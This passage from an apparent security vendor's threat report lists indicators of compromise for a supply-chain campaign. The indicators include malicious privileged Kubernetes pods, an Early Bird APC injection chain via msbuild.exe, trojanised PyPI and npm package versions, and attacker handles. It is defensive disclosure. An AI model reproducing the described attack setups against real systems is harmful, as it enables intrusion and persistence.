  • pod/node-setup-* in kube-system — malicious privileged pods (alpine:latest, hostPID, hostNetwork, host root mount)

Process Artifacts

  • dllhost.exe spawned by msbuild.exe from Startup folder — Early Bird APC injection target
  • attrib.exe +h on files in Startup folder — lock file hiding

Compromised Packages

PyPI

  • telnyx 4.87.1, 4.87.2 — quarantined
  • litellm 1.82.7, 1.82.8 — quarantined

npm

  • 46+ packages (@EmilGroup, @opengov scopes) — removed

Attribution

  • Telegram: @Persy_PCP, @teampcp
  • Defacement message: “TeamPCP Owns…”
  • ASN: AS205759 (Ghosty Networks LLC / DEMENIN B.V., Luxembourg)

Table of Contents

Our primary goal is to deliver reliable and secure IT solutions to our clients and contribute resources to creating a more secure world. Copyright © 2021 – 2025 Hexastrike Cybersecurity UG (haftungsbeschraenkt)